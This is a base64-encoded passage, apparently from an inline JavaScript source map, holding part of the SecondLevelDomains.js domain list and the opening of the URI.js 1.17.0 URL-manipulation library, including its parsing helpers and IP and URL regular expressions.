a2NociBrZW1lcm92byBraGFiYXJvdnNrIGtoYWthc3NpYSBraHYga2lyb3Yga29lbmlnIGtvbWkga29zdHJvbWEga3Jhbm95YXJzayBrdWJhbiBrdXJnYW4ga3Vyc2sgbGlwZXRzayBtYWdhZGFuIG1hcmkgbWFyaS1lbCBtYXJpbmUgbWlsIG1vcmRvdmlhIG1vc3JlZyBtc2sgbXVybWFuc2sgbmFsY2hpayBuZXQgbm5vdiBub3Ygbm92b3NpYmlyc2sgbnNrIG9tc2sgb3JlbmJ1cmcgb3JnIG9yeW9sIHBlbnphIHBlcm0gcHAgcHNrb3YgcHR6IHJuZCByeWF6YW4gc2FraGFsaW4gc2FtYXJhIHNhcmF0b3Ygc2ltYmlyc2sgc21vbGVuc2sgc3BiIHN0YXZyb3BvbCBzdHYgc3VyZ3V0IHRhbWJvdiB0YXRhcnN0YW4gdG9tIHRvbXNrIHRzYXJpdHN5biB0c2sgdHVsYSB0dXZhIHR2ZXIgdHl1bWVuIHVkbSB1ZG11cnRpYSB1bGFuLXVkZSB2bGFkaWthdmtheiB2bGFkaW1pciB2bGFkaXZvc3RvayB2b2xnb2dyYWQgdm9sb2dkYSB2b3JvbmV6aCB2cm4gdnlhdGthIHlha3V0aWEgeWFtYWwgeWVrYXRlcmluYnVyZyB5dXpobm8tc2FraGFsaW5zayAnLFxuICAgICAgJ3J3JzonIGFjIGNvIGNvbSBlZHUgZ291diBnb3YgaW50IG1pbCBuZXQgJyxcbiAgICAgICdzYSc6JyBjb20gZWR1IGdvdiBtZWQgbmV0IG9yZyBwdWIgc2NoICcsXG4gICAgICAnc2QnOicgY29tIGVkdSBnb3YgaW5mbyBtZWQgbmV0IG9yZyB0diAnLFxuICAgICAgJ3NlJzonIGEgYWMgYiBiZCBjIGQgZSBmIGcgaCBpIGsgbCBtIG4gbyBvcmcgcCBwYXJ0aSBwcCBwcmVzcyByIHMgdCB0bSB1IHcgeCB5IHogJyxcbiAgICAgICdzZyc6JyBjb20gZWR1IGdvdiBpZG4gbmV0IG9yZyBwZXIgJyxcbiAgICAgICdzbic6JyBhcnQgY29tIGVkdSBnb3V2IG9yZyBwZXJzbyB1bml2ICcsXG4gICAgICAnc3knOicgY29tIGVkdSBnb3YgbWlsIG5ldCBuZXdzIG9yZyAnLFxuICAgICAgJ3RoJzonIGFjIGNvIGdvIGluIG1pIG5ldCBvciAnLFxuICAgICAgJ3RqJzonIGFjIGJpeiBjbyBjb20gZWR1IGdvIGdvdiBpbmZvIGludCBtaWwgbmFtZSBuZXQgbmljIG9yZyB0ZXN0IHdlYiAnLFxuICAgICAgJ3RuJzonIGFncmluZXQgY29tIGRlZmVuc2UgZWR1bmV0IGVucyBmaW4gZ292IGluZCBpbmZvIGludGwgbWluY29tIG5hdCBuZXQgb3JnIHBlcnNvIHJucnQgcm5zIHJudSB0b3VyaXNtICcsXG4gICAgICAndHonOicgYWMgY28gZ28gbmUgb3IgJyxcbiAgICAgICd1YSc6JyBiaXogY2hlcmthc3N5IGNoZXJuaWdvdiBjaGVybm92dHN5IGNrIGNuIGNvIGNvbSBjcmltZWEgY3YgZG4gZG5lcHJvcGV0cm92c2sgZG9uZXRzayBkcCBlZHUgZ292IGlmIGluIGl2YW5vLWZyYW5raXZzayBraCBraGFya292IGtoZXJzb24ga2htZWxuaXRza2l5IGtpZXYga2lyb3ZvZ3JhZCBrbSBrciBrcyBrdiBsZyBsdWdhbnNrIGx1dHNrIGx2aXYgbWUgbWsgbmV0IG5pa29sYWV2IG9kIG9kZXNzYSBvcmcgcGwgcG9sdGF2YSBwcCByb3ZubyBydiBzZWJhc3RvcG9sIHN1bXkgdGUgdGVybm9waWwgdXpoZ29yb2QgdmlubmljYSB2biB6YXBvcml6aHpoZSB6aGl0b21pciB6cCB6dCAnLFxuICAgICAgJ3VnJzonIGFjIGNvIGdvIG5lIG9yIG9yZyBzYyAnLFxuICAgICAgJ3VrJzonIGFjIGJsIGJyaXRpc2gtbGlicmFyeSBjbyBjeW0gZ292IGdvdnQgaWNuZXQgamV0IGxlYSBsdGQgbWUgbWlsIG1vZCBuYXRpb25hbC1saWJyYXJ5LXNjb3RsYW5kIG5lbCBuZXQgbmhzIG5pYyBubHMgb3JnIG9yZ24gcGFybGlhbWVudCBwbGMgcG9saWNlIHNjaCBzY290IHNvYyAnLFxuICAgICAgJ3VzJzonIGRuaSBmZWQgaXNhIGtpZHMgbnNuICcsXG4gICAgICAndXknOicgY29tIGVkdSBndWIgbWlsIG5ldCBvcmcgJyxcbiAgICAgICd2ZSc6JyBjbyBjb20gZWR1IGdvYiBpbmZvIG1pbCBuZXQgb3JnIHdlYiAnLFxuICAgICAgJ3ZpJzonIGNvIGNvbSBrMTIgbmV0IG9yZyAnLFxuICAgICAgJ3ZuJzonIGFjIGJpeiBjb20gZWR1IGdvdiBoZWFsdGggaW5mbyBpbnQgbmFtZSBuZXQgb3JnIHBybyAnLFxuICAgICAgJ3llJzonIGNvIGNvbSBnb3YgbHRkIG1lIG5ldCBvcmcgcGxjICcsXG4gICAgICAneXUnOicgYWMgY28gZWR1IGdvdiBvcmcgJyxcbiAgICAgICd6YSc6JyBhYyBhZ3JpYyBhbHQgYm91cnNlIGNpdHkgY28gY3liZXJuZXQgZGIgZWR1IGdvdiBncm9uZGFyIGlhY2Nlc3MgaW10IGluY2EgbGFuZGVzaWduIGxhdyBtaWwgbmV0IG5nbyBuaXMgbm9tIG9saXZldHRpIG9yZyBwaXggc2Nob29sIHRtIHdlYiAnLFxuICAgICAgJ3ptJzonIGFjIGNvIGNvbSBlZHUgZ292IG5ldCBvcmcgc2NoICdcbiAgICB9LFxuICAgIC8vIGdvcmhpbGwgMjAxMy0xMC0yNTogVXNpbmcgaW5kZXhPZigpIGluc3RlYWQgUmVnZXhwKCkuIFNpZ25pZmljYW50IGJvb3N0XG4gICAgLy8gaW4gYm90aCBwZXJmb3JtYW5jZSBhbmQgbWVtb3J5IGZvb3RwcmludC4gTm8gaW5pdGlhbGl6YXRpb24gcmVxdWlyZWQuXG4gICAgLy8gaHR0cDovL2pzcGVyZi5jb20vdXJpLWpzLXNsZC1yZWdleC12cy1iaW5hcnktc2VhcmNoLzRcbiAgICAvLyBGb2xsb3dpbmcgbWV0aG9kcyB1c2UgbGFzdEluZGV4T2YoKSByYXRoZXIgdGhhbiBhcnJheS5zcGxpdCgpIGluIG9yZGVyXG4gICAgLy8gdG8gYXZvaWQgYW55IG1lbW9yeSBhbGxvY2F0aW9ucy5cbiAgICBoYXM6IGZ1bmN0aW9uKGRvbWFpbikge1xuICAgICAgdmFyIHRsZE9mZnNldCA9IGRvbWFpbi5sYXN0SW5kZXhPZignLicpO1xuICAgICAgaWYgKHRsZE9mZnNldCA8PSAwIHx8IHRsZE9mZnNldCA+PSAoZG9tYWluLmxlbmd0aC0xKSkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgICB2YXIgc2xkT2Zmc2V0ID0gZG9tYWluLmxhc3RJbmRleE9mKCcuJywgdGxkT2Zmc2V0LTEpO1xuICAgICAgaWYgKHNsZE9mZnNldCA8PSAwIHx8IHNsZE9mZnNldCA+PSAodGxkT2Zmc2V0LTEpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHZhciBzbGRMaXN0ID0gU0xELmxpc3RbZG9tYWluLnNsaWNlKHRsZE9mZnNldCsxKV07XG4gICAgICBpZiAoIXNsZExpc3QpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHNsZExpc3QuaW5kZXhPZignICcgKyBkb21haW4uc2xpY2Uoc2xkT2Zmc2V0KzEsIHRsZE9mZnNldCkgKyAnICcpID49IDA7XG4gICAgfSxcbiAgICBpczogZnVuY3Rpb24oZG9tYWluKSB7XG4gICAgICB2YXIgdGxkT2Zmc2V0ID0gZG9tYWluLmxhc3RJbmRleE9mKCcuJyk7XG4gICAgICBpZiAodGxkT2Zmc2V0IDw9IDAgfHwgdGxkT2Zmc2V0ID49IChkb21haW4ubGVuZ3RoLTEpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHZhciBzbGRPZmZzZXQgPSBkb21haW4ubGFzdEluZGV4T2YoJy4nLCB0bGRPZmZzZXQtMSk7XG4gICAgICBpZiAoc2xkT2Zmc2V0ID49IDApIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgdmFyIHNsZExpc3QgPSBTTEQubGlzdFtkb21haW4uc2xpY2UodGxkT2Zmc2V0KzEpXTtcbiAgICAgIGlmICghc2xkTGlzdCkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgICByZXR1cm4gc2xkTGlzdC5pbmRleE9mKCcgJyArIGRvbWFpbi5zbGljZSgwLCB0bGRPZmZzZXQpICsgJyAnKSA+PSAwO1xuICAgIH0sXG4gICAgZ2V0OiBmdW5jdGlvbihkb21haW4pIHtcbiAgICAgIHZhciB0bGRPZmZzZXQgPSBkb21haW4ubGFzdEluZGV4T2YoJy4nKTtcbiAgICAgIGlmICh0bGRPZmZzZXQgPD0gMCB8fCB0bGRPZmZzZXQgPj0gKGRvbWFpbi5sZW5ndGgtMSkpIHtcbiAgICAgICAgcmV0dXJuIG51bGw7XG4gICAgICB9XG4gICAgICB2YXIgc2xkT2Zmc2V0ID0gZG9tYWluLmxhc3RJbmRleE9mKCcuJywgdGxkT2Zmc2V0LTEpO1xuICAgICAgaWYgKHNsZE9mZnNldCA8PSAwIHx8IHNsZE9mZnNldCA+PSAodGxkT2Zmc2V0LTEpKSB7XG4gICAgICAgIHJldHVybiBudWxsO1xuICAgICAgfVxuICAgICAgdmFyIHNsZExpc3QgPSBTTEQubGlzdFtkb21haW4uc2xpY2UodGxkT2Zmc2V0KzEpXTtcbiAgICAgIGlmICghc2xkTGlzdCkge1xuICAgICAgICByZXR1cm4gbnVsbDtcbiAgICAgIH1cbiAgICAgIGlmIChzbGRMaXN0LmluZGV4T2YoJyAnICsgZG9tYWluLnNsaWNlKHNsZE9mZnNldCsxLCB0bGRPZmZzZXQpICsgJyAnKSA8IDApIHtcbiAgICAgICAgcmV0dXJuIG51bGw7XG4gICAgICB9XG4gICAgICByZXR1cm4gZG9tYWluLnNsaWNlKHNsZE9mZnNldCsxKTtcbiAgICB9LFxuICAgIG5vQ29uZmxpY3Q6IGZ1bmN0aW9uKCl7XG4gICAgICBpZiAocm9vdC5TZWNvbmRMZXZlbERvbWFpbnMgPT09IHRoaXMpIHtcbiAgICAgICAgcm9vdC5TZWNvbmRMZXZlbERvbWFpbnMgPSBfU2Vjb25kTGV2ZWxEb21haW5zO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuICB9O1xuXG4gIHJldHVybiBTTEQ7XG59KSk7XG4iLCIvKiFcbiAqIFVSSS5qcyAtIE11dGF0aW5nIFVSTHNcbiAqXG4gKiBWZXJzaW9uOiAxLjE3LjBcbiAqXG4gKiBBdXRob3I6IFJvZG5leSBSZWhtXG4gKiBXZWI6IGh0dHA6Ly9tZWRpYWxpemUuZ2l0aHViLmlvL1VSSS5qcy9cbiAqXG4gKiBMaWNlbnNlZCB1bmRlclxuICogICBNSVQgTGljZW5zZSBodHRwOi8vd3d3Lm9wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL21pdC1saWNlbnNlXG4gKiAgIEdQTCB2MyBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvR1BMLTMuMFxuICpcbiAqL1xuKGZ1bmN0aW9uIChyb290LCBmYWN0b3J5KSB7XG4gICd1c2Ugc3RyaWN0JztcbiAgLy8gaHR0cHM6Ly9naXRodWIuY29tL3VtZGpzL3VtZC9ibG9iL21hc3Rlci9yZXR1cm5FeHBvcnRzLmpzXG4gIGlmICh0eXBlb2YgZXhwb3J0cyA9PT0gJ29iamVjdCcpIHtcbiAgICAvLyBOb2RlXG4gICAgbW9kdWxlLmV4cG9ydHMgPSBmYWN0b3J5KHJlcXVpcmUoJy4vcHVueWNvZGUnKSwgcmVxdWlyZSgnLi9JUHY2JyksIHJlcXVpcmUoJy4vU2Vjb25kTGV2ZWxEb21haW5zJykpO1xuICB9IGVsc2UgaWYgKHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCkge1xuICAgIC8vIEFNRC4gUmVnaXN0ZXIgYXMgYW4gYW5vbnltb3VzIG1vZHVsZS5cbiAgICBkZWZpbmUoWycuL3B1bnljb2RlJywgJy4vSVB2NicsICcuL1NlY29uZExldmVsRG9tYWlucyddLCBmYWN0b3J5KTtcbiAgfSBlbHNlIHtcbiAgICAvLyBCcm93c2VyIGdsb2JhbHMgKHJvb3QgaXMgd2luZG93KVxuICAgIHJvb3QuVVJJID0gZmFjdG9yeShyb290LnB1bnljb2RlLCByb290LklQdjYsIHJvb3QuU2Vjb25kTGV2ZWxEb21haW5zLCByb290KTtcbiAgfVxufSh0aGlzLCBmdW5jdGlvbiAocHVueWNvZGUsIElQdjYsIFNMRCwgcm9vdCkge1xuICAndXNlIHN0cmljdCc7XG4gIC8qZ2xvYmFsIGxvY2F0aW9uLCBlc2NhcGUsIHVuZXNjYXBlICovXG4gIC8vIEZJWE1FOiB2Mi4wLjAgcmVuYW1jZSBub24tY2FtZWxDYXNlIHByb3BlcnRpZXMgdG8gdXBwZXJjYXNlXG4gIC8qanNoaW50IGNhbWVsY2FzZTogZmFsc2UgKi9cblxuICAvLyBzYXZlIGN1cnJlbnQgVVJJIHZhcmlhYmxlLCBpZiBhbnlcbiAgdmFyIF9VUkkgPSByb290ICYmIHJvb3QuVVJJO1xuXG4gIGZ1bmN0aW9uIFVSSSh1cmwsIGJhc2UpIHtcbiAgICB2YXIgX3VybFN1cHBsaWVkID0gYXJndW1lbnRzLmxlbmd0aCA+PSAxO1xuICAgIHZhciBfYmFzZVN1cHBsaWVkID0gYXJndW1lbnRzLmxlbmd0aCA+PSAyO1xuXG4gICAgLy8gQWxsb3cgaW5zdGFudGlhdGlvbiB3aXRob3V0IHRoZSAnbmV3JyBrZXl3b3JkXG4gICAgaWYgKCEodGhpcyBpbnN0YW5jZW9mIFVSSSkpIHtcbiAgICAgIGlmIChfdXJsU3VwcGxpZWQpIHtcbiAgICAgICAgaWYgKF9iYXNlU3VwcGxpZWQpIHtcbiAgICAgICAgICByZXR1cm4gbmV3IFVSSSh1cmwsIGJhc2UpO1xuICAgICAgICB9XG5cbiAgICAgICAgcmV0dXJuIG5ldyBVUkkodXJsKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIG5ldyBVUkkoKTtcbiAgICB9XG5cbiAgICBpZiAodXJsID09PSB1bmRlZmluZWQpIHtcbiAgICAgIGlmIChfdXJsU3VwcGxpZWQpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcigndW5kZWZpbmVkIGlzIG5vdCBhIHZhbGlkIGFyZ3VtZW50IGZvciBVUkknKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHR5cGVvZiBsb2NhdGlvbiAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgdXJsID0gbG9jYXRpb24uaHJlZiArICcnO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgdXJsID0gJyc7XG4gICAgICB9XG4gICAgfVxuXG4gICAgdGhpcy5ocmVmKHVybCk7XG5cbiAgICAvLyByZXNvbHZlIHRvIGJhc2UgYWNjb3JkaW5nIHRvIGh0dHA6Ly9kdmNzLnczLm9yZy9oZy91cmwvcmF3LWZpbGUvdGlwL092ZXJ2aWV3Lmh0bWwjY29uc3RydWN0b3JcbiAgICBpZiAoYmFzZSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICByZXR1cm4gdGhpcy5hYnNvbHV0ZVRvKGJhc2UpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzO1xuICB9XG5cbiAgVVJJLnZlcnNpb24gPSAnMS4xNy4wJztcblxuICB2YXIgcCA9IFVSSS5wcm90b3R5cGU7XG4gIHZhciBoYXNPd24gPSBPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5O1xuXG4gIGZ1bmN0aW9uIGVzY2FwZVJlZ0V4KHN0cmluZykge1xuICAgIC8vIGh0dHBzOi8vZ2l0aHViLmNvbS9tZWRpYWxpemUvVVJJLmpzL2NvbW1pdC84NWFjMjE3ODNjMTFmOGNjYWIwNjEwNmRiYTk3MzVhMzFhODY5MjRkI2NvbW1pdGNvbW1lbnQtODIxOTYzXG4gICAgcmV0dXJuIHN0cmluZy5yZXBsYWNlKC8oWy4qKz9ePSE6JHt9KCl8W1xcXVxcL1xcXFxdKS9nLCAnXFxcXCQxJyk7XG4gIH1cblxuICBmdW5jdGlvbiBnZXRUeXBlKHZhbHVlKSB7XG4gICAgLy8gSUU4IGRvZXNuJ3QgcmV0dXJuIFtPYmplY3QgVW5kZWZpbmVkXSBidXQgW09iamVjdCBPYmplY3RdIGZvciB1bmRlZmluZWQgdmFsdWVcbiAgICBpZiAodmFsdWUgPT09IHVuZGVmaW5lZCkge1xuICAgICAgcmV0dXJuICdVbmRlZmluZWQnO1xuICAgIH1cblxuICAgIHJldHVybiBTdHJpbmcoT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKHZhbHVlKSkuc2xpY2UoOCwgLTEpO1xuICB9XG5cbiAgZnVuY3Rpb24gaXNBcnJheShvYmopIHtcbiAgICByZXR1cm4gZ2V0VHlwZShvYmopID09PSAnQXJyYXknO1xuICB9XG5cbiAgZnVuY3Rpb24gZmlsdGVyQXJyYXlWYWx1ZXMoZGF0YSwgdmFsdWUpIHtcbiAgICB2YXIgbG9va3VwID0ge307XG4gICAgdmFyIGksIGxlbmd0aDtcblxuICAgIGlmIChnZXRUeXBlKHZhbHVlKSA9PT0gJ1JlZ0V4cCcpIHtcbiAgICAgIGxvb2t1cCA9IG51bGw7XG4gICAgfSBlbHNlIGlmIChpc0FycmF5KHZhbHVlKSkge1xuICAgICAgZm9yIChpID0gMCwgbGVuZ3RoID0gdmFsdWUubGVuZ3RoOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgICAgbG9va3VwW3ZhbHVlW2ldXSA9IHRydWU7XG4gICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgIGxvb2t1cFt2YWx1ZV0gPSB0cnVlO1xuICAgIH1cblxuICAgIGZvciAoaSA9IDAsIGxlbmd0aCA9IGRhdGEubGVuZ3RoOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgIC8qanNoaW50IGxheGJyZWFrOiB0cnVlICovXG4gICAgICB2YXIgX21hdGNoID0gbG9va3VwICYmIGxvb2t1cFtkYXRhW2ldXSAhPT0gdW5kZWZpbmVkXG4gICAgICAgIHx8ICFsb29rdXAgJiYgdmFsdWUudGVzdChkYXRhW2ldKTtcbiAgICAgIC8qanNoaW50IGxheGJyZWFrOiBmYWxzZSAqL1xuICAgICAgaWYgKF9tYXRjaCkge1xuICAgICAgICBkYXRhLnNwbGljZShpLCAxKTtcbiAgICAgICAgbGVuZ3RoLS07XG4gICAgICAgIGktLTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZGF0YTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGFycmF5Q29udGFpbnMobGlzdCwgdmFsdWUpIHtcbiAgICB2YXIgaSwgbGVuZ3RoO1xuXG4gICAgLy8gdmFsdWUgbWF5IGJlIHN0cmluZywgbnVtYmVyLCBhcnJheSwgcmVnZXhwXG4gICAgaWYgKGlzQXJyYXkodmFsdWUpKSB7XG4gICAgICAvLyBOb3RlOiB0aGlzIGNhbiBiZSBvcHRpbWl6ZWQgdG8gTyhuKSAoaW5zdGVhZCBvZiBjdXJyZW50IE8obSAqIG4pKVxuICAgICAgZm9yIChpID0gMCwgbGVuZ3RoID0gdmFsdWUubGVuZ3RoOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgICAgaWYgKCFhcnJheUNvbnRhaW5zKGxpc3QsIHZhbHVlW2ldKSkge1xuICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICB2YXIgX3R5cGUgPSBnZXRUeXBlKHZhbHVlKTtcbiAgICBmb3IgKGkgPSAwLCBsZW5ndGggPSBsaXN0Lmxlbmd0aDsgaSA8IGxlbmd0aDsgaSsrKSB7XG4gICAgICBpZiAoX3R5cGUgPT09ICdSZWdFeHAnKSB7XG4gICAgICAgIGlmICh0eXBlb2YgbGlzdFtpXSA9PT0gJ3N0cmluZycgJiYgbGlzdFtpXS5tYXRjaCh2YWx1ZSkpIHtcbiAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgfSBlbHNlIGlmIChsaXN0W2ldID09PSB2YWx1ZSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cblxuICBmdW5jdGlvbiBhcnJheXNFcXVhbChvbmUsIHR3bykge1xuICAgIGlmICghaXNBcnJheShvbmUpIHx8ICFpc0FycmF5KHR3bykpIHtcbiAgICAgIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICAvLyBhcnJheXMgY2FuJ3QgYmUgZXF1YWwgaWYgdGhleSBoYXZlIGRpZmZlcmVudCBhbW91bnQgb2YgY29udGVudFxuICAgIGlmIChvbmUubGVuZ3RoICE9PSB0d28ubGVuZ3RoKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgb25lLnNvcnQoKTtcbiAgICB0d28uc29ydCgpO1xuXG4gICAgZm9yICh2YXIgaSA9IDAsIGwgPSBvbmUubGVuZ3RoOyBpIDwgbDsgaSsrKSB7XG4gICAgICBpZiAob25lW2ldICE9PSB0d29baV0pIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgIH1cblxuICAgIHJldHVybiB0cnVlO1xuICB9XG5cbiAgZnVuY3Rpb24gdHJpbVNsYXNoZXModGV4dCkge1xuICAgIHZhciB0cmltX2V4cHJlc3Npb24gPSAvXlxcLyt8XFwvKyQvZztcbiAgICByZXR1cm4gdGV4dC5yZXBsYWNlKHRyaW1fZXhwcmVzc2lvbiwgJycpO1xuICB9XG5cbiAgVVJJLl9wYXJ0cyA9IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiB7XG4gICAgICBwcm90b2NvbDogbnVsbCxcbiAgICAgIHVzZXJuYW1lOiBudWxsLFxuICAgICAgcGFzc3dvcmQ6IG51bGwsXG4gICAgICBob3N0bmFtZTogbnVsbCxcbiAgICAgIHVybjogbnVsbCxcbiAgICAgIHBvcnQ6IG51bGwsXG4gICAgICBwYXRoOiBudWxsLFxuICAgICAgcXVlcnk6IG51bGwsXG4gICAgICBmcmFnbWVudDogbnVsbCxcbiAgICAgIC8vIHN0YXRlXG4gICAgICBkdXBsaWNhdGVRdWVyeVBhcmFtZXRlcnM6IFVSSS5kdXBsaWNhdGVRdWVyeVBhcmFtZXRlcnMsXG4gICAgICBlc2NhcGVRdWVyeVNwYWNlOiBVUkkuZXNjYXBlUXVlcnlTcGFjZVxuICAgIH07XG4gIH07XG4gIC8vIHN0YXRlOiBhbGxvdyBkdXBsaWNhdGUgcXVlcnkgcGFyYW1ldGVycyAoYT0xJmE9MSlcbiAgVVJJLmR1cGxpY2F0ZVF1ZXJ5UGFyYW1ldGVycyA9IGZhbHNlO1xuICAvLyBzdGF0ZTogcmVwbGFjZXMgKyB3aXRoICUyMCAoc3BhY2UgaW4gcXVlcnkgc3RyaW5ncylcbiAgVVJJLmVzY2FwZVF1ZXJ5U3BhY2UgPSB0cnVlO1xuICAvLyBzdGF0aWMgcHJvcGVydGllc1xuICBVUkkucHJvdG9jb2xfZXhwcmVzc2lvbiA9IC9eW2Etel1bYS16MC05ListXSokL2k7XG4gIFVSSS5pZG5fZXhwcmVzc2lvbiA9IC9bXmEtejAtOVxcLi1dL2k7XG4gIFVSSS5wdW55Y29kZV9leHByZXNzaW9uID0gLyh4bi0tKS9pO1xuICAvLyB3ZWxsLCAzMzMuNDQ0LjU1NS42NjYgbWF0Y2hlcywgYnV0IGl0IHN1cmUgYWluJ3Qgbm8gSVB2NCAtIGRvIHdlIGNhcmU/XG4gIFVSSS5pcDRfZXhwcmVzc2lvbiA9IC9eXFxkezEsM31cXC5cXGR7MSwzfVxcLlxcZHsxLDN9XFwuXFxkezEsM30kLztcbiAgLy8gY3JlZGl0cyB0byBSaWNoIEJyb3duXG4gIC8vIHNvdXJjZTogaHR0cDovL2ZvcnVtcy5pbnRlcm1hcHBlci5jb20vdmlld3RvcGljLnBocD9wPTEwOTYjMTA5NlxuICAvLyBzcGVjaWZpY2F0aW9uOiBodHRwOi8vd3d3LmlldGYub3JnL3JmYy9yZmM0MjkxLnR4dFxuICBVUkkuaXA2X2V4cHJlc3Npb24gPSAvXlxccyooKChbMC05QS1GYS1mXXsxLDR9Oil7N30oWzAtOUEtRmEtZl17MSw0fXw6KSl8KChbMC05QS1GYS1mXXsxLDR9Oil7Nn0oOlswLTlBLUZhLWZdezEsNH18KCgyNVswLTVdfDJbMC00XVxcZHwxXFxkXFxkfFsxLTldP1xcZCkoXFwuKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKSl7M30pfDopKXwoKFswLTlBLUZhLWZdezEsNH06KXs1fSgoKDpbMC05QS1GYS1mXXsxLDR9KXsxLDJ9KXw6KCgyNVswLTVdfDJbMC00XVxcZHwxXFxkXFxkfFsxLTldP1xcZCkoXFwuKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKSl7M30pfDopKXwoKFswLTlBLUZhLWZdezEsNH06KXs0fSgoKDpbMC05QS1GYS1mXXsxLDR9KXsxLDN9KXwoKDpbMC05QS1GYS1mXXsxLDR9KT86KCgyNVswLTVdfDJbMC00XVxcZHwxXFxkXFxkfFsxLTldP1xcZCkoXFwuKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKSl7M30pKXw6KSl8KChbMC05QS1GYS1mXXsxLDR9Oil7M30oKCg6WzAtOUEtRmEtZl17MSw0fSl7MSw0fSl8KCg6WzAtOUEtRmEtZl17MSw0fSl7MCwyfTooKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKShcXC4oMjVbMC01XXwyWzAtNF1cXGR8MVxcZFxcZHxbMS05XT9cXGQpKXszfSkpfDopKXwoKFswLTlBLUZhLWZdezEsNH06KXsyfSgoKDpbMC05QS1GYS1mXXsxLDR9KXsxLDV9KXwoKDpbMC05QS1GYS1mXXsxLDR9KXswLDN9OigoMjVbMC01XXwyWzAtNF1cXGR8MVxcZFxcZHxbMS05XT9cXGQpKFxcLigyNVswLTVdfDJbMC00XVxcZHwxXFxkXFxkfFsxLTldP1xcZCkpezN9KSl8OikpfCgoWzAtOUEtRmEtZl17MSw0fTopezF9KCgoOlswLTlBLUZhLWZdezEsNH0pezEsNn0pfCgoOlswLTlBLUZhLWZdezEsNH0pezAsNH06KCgyNVswLTVdfDJbMC00XVxcZHwxXFxkXFxkfFsxLTldP1xcZCkoXFwuKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKSl7M30pKXw6KSl8KDooKCg6WzAtOUEtRmEtZl17MSw0fSl7MSw3fSl8KCg6WzAtOUEtRmEtZl17MSw0fSl7MCw1fTooKDI1WzAtNV18MlswLTRdXFxkfDFcXGRcXGR8WzEtOV0/XFxkKShcXC4oMjVbMC01XXwyWzAtNF1cXGR8MVxcZFxcZHxbMS05XT9cXGQpKXszfSkpfDopKSkoJS4rKT9cXHMqJC87XG4gIC8vIGV4cHJlc3Npb24gdXNlZCBpcyBcImdydWJlciByZXZpc2VkXCIgKEBncnViZXIgdjIpIGRldGVybWluZWQgdG8gYmUgdGhlXG4gIC8vIGJlc3Qgc29sdXRpb24gaW4gYSByZWdleC1nb2xmIHdlIGRpZCBhIGNvdXBsZSBvZiBhZ2VzIGFnbyBhdFxuICAvLyAqIGh0dHA6Ly9tYXRoaWFzYnluZW5zLmJlL2RlbW8vdXJsLXJlZ2V4XG4gIC8vICogaHR0cDovL3JvZG5leXJlaG0uZGUvdC91cmwtcmVnZXguaHRtbFxuICBVUkkuZmluZF91cmlfZXhwcmVzc2lvbiA9IC9cXGIoKD86W2Etel1bXFx3LV0rOig/OlxcL3sxLDN9fFthLXowLTklXSl8d3d3XFxkezAsM31bLl18W2EtejAtOS5cXC1dK1suXVthLXpdezIsNH1cXC8pKD86W15cXHMoKTw+XSt8XFwoKFteXFxzKCk8Pl0rfChcXChbXlxccygpPD5dK1xcKSkpKlxcKSkrKD86XFwoKFteXFxzKCk8Pl0rfChcXChbXlxccygpPD5dK1xcKSkpKlxcKXxbXlxcc2AhKClcXFtcXF17fTs6J1wiLiw8Pj/Cq8K74oCc4oCd4oCY4oCZXSkpL2lnO1xuICBVUkkuZmluZFVyaSA9IHtcbiAgICAvLyB2YWxpZCBcInNjaGVtZTovL1wiIG9yIFwid3d3LlwiXG4gICAgc3RhcnQ6IC9cXGIoPzooW2Etel1bYS16MC05ListXSo6XFwvXFwvKXx3d3dcXC4pL2dpLFxuICAgIC8vIGV2ZXJ5dGhpbmcgdXAgdG8gdGhlIG5leHQgd2hpdGVzcGFjZVxuICAgIGVuZDogL